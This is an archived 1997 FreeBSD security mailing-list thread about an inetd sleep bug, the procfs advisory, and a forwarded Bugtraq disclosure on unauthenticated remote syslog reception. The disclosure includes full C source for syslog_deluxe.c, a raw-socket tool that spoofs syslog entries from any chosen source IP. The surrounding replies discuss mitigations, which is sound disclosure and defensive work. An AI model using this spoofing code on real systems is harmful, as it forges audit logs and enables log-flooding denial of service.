iConnect Corp. Director of Technology 14355 SW Allen Blvd., Suite 140 Beaverton OR 97008 Shimon@i-Connect.Net Voice: 503.677.2900, Emergency: 503.799-2313 From owner-freebsd-security Thu Aug 28 04:19:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA22518 for security-outgoing; Thu, 28 Aug 1997 04:19:24 -0700 (PDT) Received: from burgundy.eecs.harvard.edu (dholland@burgundy.eecs.harvard.edu [140.247.60.165]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA22513 for ; Thu, 28 Aug 1997 04:19:18 -0700 (PDT) Received: (from dholland@localhost) by burgundy.eecs.harvard.edu (8.8.5/8.8.5) id HAA12959 for freebsd-security@freebsd.org; Thu, 28 Aug 1997 07:19:15 -0400 (EDT) From: David Holland Message-Id: <199708281119.HAA12959@burgundy.eecs.harvard.edu> Subject: sleeps in inetd... To: freebsd-security@freebsd.org Date: Thu, 28 Aug 1997 07:19:15 -0400 (EDT) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk It appears that guy was right about one thing. This bug affects Linux, OpenBSD, and NetBSD as well as FreeBSD, all in -current. Several people have looked right through this recently, including me. :( The KNF style guide should really be revised to prohibit, instead of require, constructions of the form if (a) b(); Sigh. --- inetd.c.old Thu Aug 28 07:06:31 1997 +++ inetd.c Thu Aug 28 07:10:34 1997 @@ -386,11 +386,12 @@ } readable = allsock; if ((n = select(maxsock + 1, &readable, (fd_set *)0, (fd_set *)0, (struct timeval *)0)) <= 0) { - if (n < 0 && errno != EINTR) + if (n < 0 && errno != EINTR) { syslog(LOG_WARNING, "select: %m"); - sleep(1); + sleep(1); + } continue; } for (sep = servtab; n && sep; sep = sep->se_next) if (sep->se_fd != -1 && FD_ISSET(sep->se_fd, &readable)) { -- - David A. Holland | VINO project home page: dholland@eecs.harvard.edu | http://www.eecs.harvard.edu/vino From owner-freebsd-security Thu Aug 28 07:31:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA00655 for security-outgoing; Thu, 28 Aug 1997 07:31:19 -0700 (PDT) Received: from clifford.inch.com (omar@clifford.inch.com [207.240.140.163]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA00649 for ; Thu, 28 Aug 1997 07:31:14 -0700 (PDT) Received: (from omar@localhost) by clifford.inch.com (8.8.5/8.8.5) id KAA28495; Thu, 28 Aug 1997 10:29:57 -0400 Message-ID: <19970828102957.48802@clifford.inch.com> Date: Thu, 28 Aug 1997 10:29:57 -0400 From: Omar Thameen To: freebsd-security@freebsd.org Subject: Re: FreeBSD Security Advisory: FreeBSD-SA-97:04.procfs References: <199708261803.UAA00666@gvr.gvr.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81 In-Reply-To: <199708261803.UAA00666@gvr.gvr.org>; from FreeBSD Security Officer on Tue, Aug 26, 1997 at 08:01:00PM +0200 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk What's the official word on whether 2.1.7 is vulnerable? I know below says that 2.1.* is, but the previous discussion indicated that it was not. I personally haven't gotten the exploit to work, but I may be doing something wrong. Omar On Tue, Aug 26, 1997 at 08:01:00PM +0200, FreeBSD Security Officer wrote: > > > ============================================================================= > FreeBSD-SA-97:04 Security Advisory > FreeBSD, Inc. > > Topic: security compromise via procfs > > Category: core > Module: procfs > Announced: 1997-08-19 > Affects: FreeBSD 2.1.*, FreeBSD 2.2.*, > FreeBSD-stable and FreeBSD-current > before 1997/08/12 suffer from this problem. > Corrected: FreeBSD-current as of 1997/08/12 > FreeBSD-stable as of 1997/08/12 > FreeBSD 2.1-stable as of 1997/08/25 > FreeBSD only: no (also other BSD systems may be affected) > > Patches: ftp://freebsd.org/pub/CERT/patches/SA-97:04/ > > ============================================================================= [...] From owner-freebsd-security Thu Aug 28 08:38:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA04946 for security-outgoing; Thu, 28 Aug 1997 08:38:35 -0700 (PDT) Received: from homeport.org (lighthouse.homeport.org [205.136.65.198]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA04941 for ; Thu, 28 Aug 1997 08:38:32 -0700 (PDT) Received: (adam@localhost) by homeport.org (8.8.5/8.6.9) id LAA06331; Thu, 28 Aug 1997 11:35:50 -0400 (EDT) From: Adam Shostack Message-Id: <199708281535.LAA06331@homeport.org> Subject: Re: FreeBSD Security Advisory: FreeBSD-SA-97:04.procfs In-Reply-To: <19970828102957.48802@clifford.inch.com> from Omar Thameen at "Aug 28, 97 10:29:57 am" To: omar@clifford.inch.com (Omar Thameen) Date: Thu, 28 Aug 1997 11:35:49 -0400 (EDT) Cc: freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL27 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk If you search the bugtraq archives, you can find exploit code. Why not grab some and test for yourself if your systems are vulnerable? Adam Omar Thameen wrote: | What's the official word on whether 2.1.7 is vulnerable? I know below | says that 2.1.* is, but the previous discussion indicated that it was | not. I personally haven't gotten the exploit to work, but I may be doing | something wrong. | | Omar -- "It is seldom that liberty of any kind is lost all at once." -Hume From owner-freebsd-security Thu Aug 28 09:42:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA08597 for security-outgoing; Thu, 28 Aug 1997 09:42:26 -0700 (PDT) Received: from super-g.inch.com (super-g.com [207.240.140.161]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA08592 for ; Thu, 28 Aug 1997 09:42:24 -0700 (PDT) Received: from localhost (spork@localhost) by super-g.inch.com (8.8.7/8.8.5) with SMTP id MAA23954; Thu, 28 Aug 1997 12:44:48 -0400 (EDT) Date: Thu, 28 Aug 1997 12:44:48 -0400 (EDT) From: spork X-Sender: spork@super-g.inch.com To: Adam Shostack cc: Omar Thameen , freebsd-security@FreeBSD.ORG Subject: Re: FreeBSD Security Advisory: FreeBSD-SA-97:04.procfs In-Reply-To: <199708281535.LAA06331@homeport.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk He did, check out his message... ;) Charles On Thu, 28 Aug 1997, Adam Shostack wrote: > If you search the bugtraq archives, you can find exploit code. Why > not grab some and test for yourself if your systems are vulnerable? > > Adam > > > Omar Thameen wrote: > | What's the official word on whether 2.1.7 is vulnerable? I know below > | says that 2.1.* is, but the previous discussion indicated that it was > | not. I personally haven't gotten the exploit to work, but I may be doing > | something wrong. > | > | Omar > > > -- > "It is seldom that liberty of any kind is lost all at once." > -Hume > > From owner-freebsd-security Thu Aug 28 12:49:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA17433 for security-outgoing; Thu, 28 Aug 1997 12:49:08 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA17417 for ; Thu, 28 Aug 1997 12:48:58 -0700 (PDT) Received: (qmail 10981 invoked by uid 1000); 28 Aug 1997 19:49:12 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Resent-Date: Thu, 28 Aug 1997 14:35:26 -0500 (CDT) Resent-Message-Id: Resent-From: John Goerzen Resent-To: security@debian.org Date: Thu, 28 Aug 1997 12:49:12 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: freebsd-security@freebsd.org Subject: FW: syslogd fun (fwd) Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Is this something we have to worry about in FreeBSD? I think it may, but do not know... Simon ----- Forwarded Message ----: Date: Wed, 27 Aug 1997 20:05:03 -0500 From: Yuri Volobuev To: BUGTRAQ@NETSPACE.ORG Subject: syslogd fun Resent-Date: Thu, 28 Aug 1997 14:31:42 -0500 (CDT) Resent-From: John Goerzen Resent-To: jgoerzen@gesundheit.cs.twsu.edu Howdy, Following up on the recent postings about various kinds of spoofing, I'd like to present one particularly ugly case. I think no one would argue that syslog is every Unix sysadmin's close friend. Very often, syslog is a major (sometimes the only) way of gathering various information, including security-related, about a particular system or network. Some people trust syslog and make important decisions based on what they see there. I've even heard about one lawsuit which involved system logs (I'm not sure the system was running Unix, though) as an evidence. Fortunately, defendant, sysadmin of the system in question, was able to show that syslog entry means nothing. Well, he was absolutely right. It's trivial to fake any kind of syslog entry using syslog(3) locally, and this fact is widely known and accepted. What is less known, however, is that many syslogd implementations have remote reception turned on by default. Remote reception is a very simple thing. If syslogd finds an entry in config file which has @hostname at action field, it send a message to that host. The idea is OK, but implementation is not. First, there's no way to control access to your syslogd, anybody on the net can send you syslog message, and you can't tell your syslogd to refuse them (well, you can't do this _easily_, hacking the source is an option, where possible). Second, the messages are send by the virtue of the wonderful Unreliable Data Protocol. This basically nullifies the lack of access control. UDP is so easy to spoof that there's no point in restricting the access to the certain clients. There's no protocol for communications between two syslogds. One sends out a datagram, the second one receives it, if it makes it through, and that's it. No acknowledgments of any kind, it's a one way talk. If the incoming message has it's source IP set to that of the target system, it'll be output in the syslog file just like any local entry, and there's no way to distinguish between them. The attached program, syslog_deluxe.c, illustrates this point by sending out a syslog message with both source and remote IPs supplied by the user. It was tested to work with syslogds on AIX 4.2, Irix 6.2 and Linux, syslogd 1.3-3 (the one that comes with RedHat-4.2). I'm pretty sure it'll work with any other syslogd, as long as remote reception is on. So once remote reception is turned on, you can't trust any syslog entry anymore, that is, if you use stock syslogd. Besides, you open your box to a nasty DoS, it wouldn't be too hard to fill up the partition that holds syslog files, UDP datagrams can be pretty big. I also strongly suspect that there may be some overflow conditions and such in certain implementations, and having your syslogd listening to Internet is not a very healthy thing to do in such a case. So the fix for all that would be turning off remote reception. Unfortunately, it can't always be done. Linux syslogd 1.3 has this option, and remote reception if off by default. AIX and Irix users are not so fortunate. It's on and can't be turned off in any obvious way, other than killing syslogd. You can check your system by running netstat -a | grep udp. If you see (among many other lines) something like udp 0 0 0.0.0.0.syslog 0.0.0.0.* or udp 0 0 0.0.0.0.514 0.0.0.0.* or udp 0 0 *.syslog *.* your syslogd is listening, time to do something. If not, you're in luck. 99% or more systems on the net don't need remote reception. Those need to investigate configuration options of the installed syslogd, and possibly switch to a more advanced version, such as aforementioned syslogd 1.3. Of course, it may not be as easy as it sounds. Apart from possible problems with compilation, vendors sometime use "enhanced" syslogd, such as the one on Irix. It adds an extra field in front of hostname which has facility and priority. It's nice, but it also means that some other Irix programs, such as Syslog Viewer, may have problems reading file in standard format. Sometimes remote reception is desired, though, and it's a tough case. Due to the nature of the network protocol, you pretty much have to hope that no one sends you a spoofed entry. You can't really make a distinction between a spoofed one and a real one. The only true way to fix it is to redesign the protocol. Aside from security considerations, reliability could use some improvement, too since right now there's only as much of it as comes with UDP, i.e. none. I don't think an idea of losing important syslog messages due to network congestion is appealing to anybody. Also, in any event syslogd should make clear distinction between the local and remote messages, and mark them as such. I personally find it very sad that one of the programs that should help to keep security tight is so grossly insecure itself. It's really a shame. cheers, yuri /* syslog_deluxe.c This program sends a spoofed syslog message.. Your have to be root to run it. Source and target IP addresses, message text, facility and priority are supplied by the user. It exploits the fact that many syslogd implementations listen to port 514/udp and accept whatever datagrams arrive, thus making it very easy to spoof syslog entries. Some versions of syslogd allow to turn off this feature, some don't. The code compiles and works under Linux. Any Unix that has SOCK_RAW/IPPROTO_RAW should be no problem (you may need to use BSD-style struct ip though). It may use few improvements, like checking for possible ICMP Port Unreachable errors in case the remote machine doesn't run syslogd with remote reception turned on. The idea behind this program is a proof of a concept, nothing more. It comes as is, no warranty. However, you're allowed to use it under one condition: you must use your brain simultaneously. If this condition is not met, you shall forget about this program and go RTFM immediately. yuri volobuev'97 volobuev@t1.chem.umn.edu */ #include #include #include #include #include #include #include #include #include #include #include #include #define IPVERSION 4 /* This is the stuff that actually gets sent. Feel free to change it */ #define MESSAGE_FAC LOG_DAEMON #define MESSAGE_PRI LOG_INFO char message[] = {"telnetd[4489]: connection from devil@hell.org.universe\n"}; struct raw_pkt_hdr { struct iphdr ip; /* This is Linux-style iphdr. Use BSD-style struct ip if you want */ struct udphdr udp; }; struct raw_pkt_hdr* pkt; void die(char *); unsigned long int get_ip_addr(char*); unsigned short checksum(unsigned short*,char); int main(int argc,char** argv){ struct sockaddr_in sa; int sock,packet_len; char usage[] = {"\ syslog_deluxe, yuri volobuev'97\n\ make syslog look the way you want, here there and everywhere\n\ \t usage: syslog_deluxe src_hostname dst_hostname\n"}; char on = 1; if(argc != 3)die(usage); if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ perror("socket"); exit(1); } sa.sin_addr.s_addr = get_ip_addr(argv[2]); sa.sin_family = AF_INET; packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4; pkt = calloc((size_t)1,(size_t)packet_len); pkt->ip.version = IPVERSION; pkt->ip.ihl = sizeof(struct iphdr) >> 2; pkt->ip.tos = 0; pkt->ip.tot_len = htons(packet_len); pkt->ip.id = htons(getpid() & 0xFFFF); pkt->ip.frag_off = 0; pkt->ip.ttl = 0x40; pkt->ip.protocol = IPPROTO_UDP; pkt->ip.check = 0; pkt->ip.saddr = get_ip_addr(argv[1]); pkt->ip.daddr = sa.sin_addr.s_addr; pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr)); pkt->udp.source = htons(514); pkt->udp.dest = htons(514); pkt->udp.len = htons(packet_len - sizeof(struct iphdr)); pkt->udp.check = 0; /* If you feel like screwing around with pseudo-headers and stuff, you may of course calculate UDP checksum as well. I chose to leave it zero, it's usually OK */ sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"<%d>%s", (int)(MESSAGE_FAC | MESSAGE_PRI),message); if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){ perror("sendto"); exit(1); } exit(0); } void die(char* str){ fprintf(stderr,"%s\n",str); exit(1); } unsigned long int get_ip_addr(char* str){ struct hostent *hostp; unsigned long int addr; if( (addr = inet_addr(str)) == -1){ if( (hostp = gethostbyname(str))) return *(unsigned long int*)(hostp->h_addr); else { fprintf(stderr,"unknown host %s\n",str); exit(1); } } return addr; } unsigned short checksum(unsigned short* addr,char len){ /* This is a simplified version that expects even number of bytes */ register long sum = 0; while(len > 1){ sum += *addr++; len -= 2; } while (sum>>16) sum = (sum & 0xffff) + (sum >> 16); return ~sum; } -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to debian-private-request@lists.debian.org . Trouble? e-mail to templin@bucknell.edu . --------------End of forwarded message------------------------- --- Sincerely Yours, (Sent on 28-Aug-97, 12:46:41 by XF-Mail) Simon Shapiro i-Connect.Net, a Division of iConnect Corp. Director of Technology 14355 SW Allen Blvd., Suite 140 Beaverton OR 97008 Shimon@i-Connect.Net Voice: 503.677.2900, Emergency: 503.799-2313 From owner-freebsd-security Thu Aug 28 14:36:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA22038 for security-outgoing; Thu, 28 Aug 1997 14:36:59 -0700 (PDT) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA22029 for ; Thu, 28 Aug 1997 14:36:54 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id XAA06146; Thu, 28 Aug 1997 23:36:39 +0200 (MET DST) Date: Thu, 28 Aug 1997 23:36:39 +0200 (MET DST) Message-Id: <199708282136.XAA06146@bitbox.follo.net> From: Eivind Eklund To: Omar Thameen CC: freebsd-security@FreeBSD.ORG In-reply-to: Omar Thameen's message of Thu, 28 Aug 1997 10:29:57 -0400 Subject: Re: FreeBSD Security Advisory: FreeBSD-SA-97:04.procfs References: <199708261803.UAA00666@gvr.gvr.org> <19970828102957.48802@clifford.inch.com> Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > What's the official word on whether 2.1.7 is vulnerable? I know below > says that 2.1.* is, but the previous discussion indicated that it was > not. I personally haven't gotten the exploit to work, but I may be doing > something wrong. The exploit need to be tailored for each branch. 2.1 is vulnerable. Eivind. From owner-freebsd-security Thu Aug 28 14:48:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA22592 for security-outgoing; Thu, 28 Aug 1997 14:48:36 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA22585 for ; Thu, 28 Aug 1997 14:48:30 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.5/8.8.5) id OAA01548; Thu, 28 Aug 1997 14:48:15 -0700 (PDT) Message-ID: <19970828144815.02488@hydrogen.nike.efn.org> Date: Thu, 28 Aug 1997 14:48:15 -0700 From: John-Mark Gurney To: Simon Shapiro Cc: freebsd-security@FreeBSD.ORG Subject: Re: FW: syslogd fun (fwd) References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: ; from Simon Shapiro on Thu, Aug 28, 1997 at 12:49:12PM -0700 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Simon Shapiro scribbled this message on Aug 28: > Is this something we have to worry about in FreeBSD? I think it may, but > do not know... nope... freebsd's syslog in -current has the ability to turn on reception of such messages from specific hosts... and when you specify "secure" mode (which doesn't accept messages) you can still send messages to remote hosts for logging... commited 5/3/97 by Joerg... ttyl.. -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-security Thu Aug 28 15:42:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA25019 for security-outgoing; Thu, 28 Aug 1997 15:42:16 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA25014 for ; Thu, 28 Aug 1997 15:42:14 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.8.5/8.6.6) id PAA28726; Thu, 28 Aug 1997 15:42:07 -0700 (PDT) Date: Thu, 28 Aug 1997 15:42:07 -0700 (PDT) From: Sean Eric Fagan Message-Id: <199708282242.PAA28726@kithrup.com> To: security@freebsd.org Subject: Re: FreeBSD Security Advisory: FreeBSD-SA-97:04.procfs In-Reply-To: <199708282136.XAA06146.kithrup.freebsd.security@bitbox.follo.net> References: <199708261803.UAA00666@gvr.gvr.org> <19970828102957.48802@clifford.inch.com> Organization: Kithrup Enterprises, Ltd. Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <199708282136.XAA06146.kithrup.freebsd.security@bitbox.follo.net> you write: >The exploit need to be tailored for each branch. 2.1 is vulnerable. Official statement: all 4.4Lite derived systems that use procfs are vulnerable, unless Steps Have been Taken. The Steps FreeBSD Has Taken are the Steps I envisioned three or four years ago. Therefore, they are correct, and any other method is not :). From owner-freebsd-security Thu Aug 28 15:59:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA25590 for security-outgoing; Thu, 28 Aug 1997 15:59:34 -0700 (PDT) Received: from homeport.org (lighthouse.homeport.org [205.136.65.198]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA25584 for ; Thu, 28 Aug 1997 15:59:25 -0700 (PDT) Received: (adam@localhost) by homeport.org (8.8.5/8.6.9) id SAA09064; Thu, 28 Aug 1997 18:56:05 -0400 (EDT) From: Adam Shostack Message-Id: <199708282256.SAA09064@homeport.org> Subject: Re: FreeBSD Security Advisory: FreeBSD-SA-97:04.procfs In-Reply-To: from spork at "Aug 28, 97 12:44:48 pm" To: spork@super-g.com (spork) Date: Thu, 28 Aug 1997 18:56:05 -0400 (EDT) Cc: adam@homeport.org, omar@clifford.inch.com, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL27 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Right. Oops. :) spork wrote: | He did, check out his message... ;) | | Charles | | On Thu, 28 Aug 1997, Adam Shostack wrote: | | > If you search the bugtraq archives, you can find exploit code. Why | > not grab some and test for yourself if your systems are vulnerable? | > | > Adam | > | > | > Omar Thameen wrote: | > | What's the official word on whether 2.1.7 is vulnerable? I know below | > | says that 2.1.* is, but the previous discussion indicated that it was | > | not. I personally haven't gotten the exploit to work, but I may be doing | > | something wrong. From owner-freebsd-security Thu Aug 28 16:18:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA26393 for security-outgoing; Thu, 28 Aug 1997 16:18:29 -0700 (PDT) Received: from henry.cs.adfa.oz.au (henry.cs.adfa.oz.au [131.236.21.158]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA26388 for ; Thu, 28 Aug 1997 16:18:23 -0700 (PDT) Received: (from wkt@localhost) by henry.cs.adfa.oz.au (8.7.5/8.7.3) id JAA03072; Fri, 29 Aug 1997 09:17:17 +1000 (EST) From: Warren Toomey Message-Id: <199708282317.JAA03072@henry.cs.adfa.oz.au> Subject: Re: FW: syslogd fun (fwd) To: Shimon@i-Connect.Net (Simon Shapiro) Date: Fri, 29 Aug 1997 09:17:17 +1000 (EST) Cc: freebsd-security@FreeBSD.ORG In-Reply-To: from Simon Shapiro at "Aug 28, 97 12:49:12 pm" Reply-To: wkt@cs.adfa.oz.au X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In article by Simon Shapiro: > Is this something we have to worry about in FreeBSD? I think it may, but > do not know... > > Simon I hacked up a syslogd ages ago to prevent this sort of thing happening. (spoof syslog messages). Details are at: ftp://minnie.cs.adfa.oz.au/pub/NetSecurity and a paper describing some net security things are at: http://minnie.cs.adfa.oz.au/Seminars/AUUG96/index.html Warren From owner-freebsd-security Thu Aug 28 17:01:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA27889 for security-outgoing; Thu, 28 Aug 1997 17:01:22 -0700 (PDT) Received: from klondike.alisa.org ([204.133.34.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA27877 for ; Thu, 28 Aug 1997 17:01:14 -0700 (PDT) Received: (from wjjr@localhost) by klondike.alisa.org (8.8.5/8.8.5) id SAA00887 for freebsd-security@freebsd.org; Thu, 28 Aug 1997 18:00:58 -0600 (MDT) Date: Thu, 28 Aug 1997 18:00:58 -0600 (MDT) From: "John J. Rushford Jr." Message-Id: <199708290000.SAA00887@klondike.alisa.org> To: freebsd-security@freebsd.org Subject: subscribe me Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk subscribe me wjjr@klondike.alisa.org From owner-freebsd-security Thu Aug 28 17:15:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA28549 for security-outgoing; Thu, 28 Aug 1997 17:15:02 -0700 (PDT) Received: (from jmb@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA28531; Thu, 28 Aug 1997 17:14:56 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199708290014.RAA28531@hub.freebsd.org> Subject: Re: FW: syslogd fun (fwd) To: gurney_j@resnet.uoregon.edu Date: Thu, 28 Aug 1997 17:14:55 -0700 (PDT) Cc: Shimon@i-Connect.Net, freebsd-security@FreeBSD.ORG In-Reply-To: <19970828144815.02488@hydrogen.nike.efn.org> from "John-Mark Gurney" at Aug 28, 97 02:48:15 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk John-Mark Gurney wrote: > > Simon Shapiro scribbled this message on Aug 28: > > Is this something we have to worry about in FreeBSD? I think it may, but > > do not know... > > nope... freebsd's syslog in -current has the ability to turn on reception > of such messages from specific hosts... and when you specify "secure" > mode (which doesn't accept messages) you can still send messages to > remote hosts for logging... hmm....the loghost, the computer running syslogd and accepting messages from other computers, remains vunerable, as is noted in the BUGS section of the man page "The ability to log messages received in UDP packets is equivalent to an unauthenticated remote disk-filling service, and should probably be dis- abled by default. Some sort of inter-syslogd authentication mechanism ought to be worked out. To prevent the worst abuse, use of the -a option is therefore highly recommended." filter syslog at your firewall. falls under teh general rule: "unless you need it, filter it out" jmb From owner-freebsd-security Thu Aug 28 18:51:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA04201 for security-outgoing; Thu, 28 Aug 1997 18:51:02 -0700 (PDT) Received: from cyrus.watson.org (robert@AMALTHEA.RES.CMU.EDU [128.2.91.57]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA04196 for ; Thu, 28 Aug 1997 18:51:00 -0700 (PDT) Received: from localhost (robert@localhost) by cyrus.watson.org (8.8.5/8.8.5) with SMTP id VAA15157 for ; Thu, 28 Aug 1997 21:53:56 -0400 (EDT) Date: Thu, 28 Aug 1997 21:53:56 -0400 (EDT) From: Robert Watson Reply-To: Robert Watson To: freebsd-security@FreeBSD.ORG Subject: Re: FW: syslogd fun (fwd) In-Reply-To: <199708290014.RAA28531@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 28 Aug 1997, Jonathan M. Bresler wrote: > John-Mark Gurney wrote: > > > > Simon Shapiro scribbled this message on Aug 28: > > > Is this something we have to worry about in FreeBSD? I think it may, but > > > do not know... > > > > nope... freebsd's syslog in -current has the ability to turn on reception > > of such messages from specific hosts... and when you specify "secure" > > mode (which doesn't accept messages) you can still send messages to > > remote hosts for logging... > > hmm....the loghost, the computer running syslogd and accepting > messages from other computers, remains vunerable, as is noted > in the BUGS section of the man page > > "The ability to log messages received in UDP packets is equivalent to an > unauthenticated remote disk-filling service, and should probably be dis- > abled by default. Some sort of inter-syslogd authentication mechanism > ought to be worked out. To prevent the worst abuse, use of the -a option > is therefore highly recommended." > > > filter syslog at your firewall. falls under teh general rule: > "unless you need it, filter it out" I've been working intermittently on a secure syslog protocol allowing for both authentication and protection of syslog messages. I'm still in a design phase, but was thinking of starting up a mailing list for discussing the issues involved (there are many.) One feature I'd like to see is authenticity against original log generator -- even if the message is forwarded multiple times and then logged, it can be verified against an original signer. Some authentication log data should remain private, and such a feature would also be offered.. This is all weighed against excess processor use, of course :). Robert N Watson Junior, Logic+Computation, Carnegie Mellon University http://www.cmu.edu/ Network Administrator, SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org rwatson@safeport.com http://www.watson.org/~robert/ From owner-freebsd-security Thu Aug 28 23:34:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA14660 for security-outgoing; Thu, 28 Aug 1997 23:34:21 -0700 (PDT) Received: from news1.gtn.com (news1.gtn.com [192.109.159.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA14651 for ; Thu, 28 Aug 1997 23:34:14 -0700 (PDT) Received: (from uucp@localhost) by news1.gtn.com (8.8.6/8.8.6) with UUCP id IAA28687; Fri, 29 Aug 1997 08:30:32 +0200 (MET DST) Received: (from andreas@localhost) by klemm.gtn.com (8.8.7/8.8.7) id HAA23025; Fri, 29 Aug 1997 07:44:44 +0200 (CEST) Message-ID: <19970829074443.00429@klemm.gtn.com> Date: Fri, 29 Aug 1997 07:44:43 +0200 From: Andreas Klemm To: John-Mark Gurney Cc: Simon Shapiro , freebsd-security@FreeBSD.ORG Subject: Re: FW: syslogd fun (fwd) References: <19970828144815.02488@hydrogen.nike.efn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79 In-Reply-To: <19970828144815.02488@hydrogen.nike.efn.org>; from John-Mark Gurney on Thu, Aug 28, 1997 at 02:48:15PM -0700 X-Disclaimer: A free society is one where it is safe to be unpopular X-Operating-System: FreeBSD 3.0-CURRENT SMP Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, Aug 28, 1997 at 02:48:15PM -0700, John-Mark Gurney wrote: > Simon Shapiro scribbled this message on Aug 28: > > Is this something we have to worry about in FreeBSD? I think it may, but > > do not know... > > 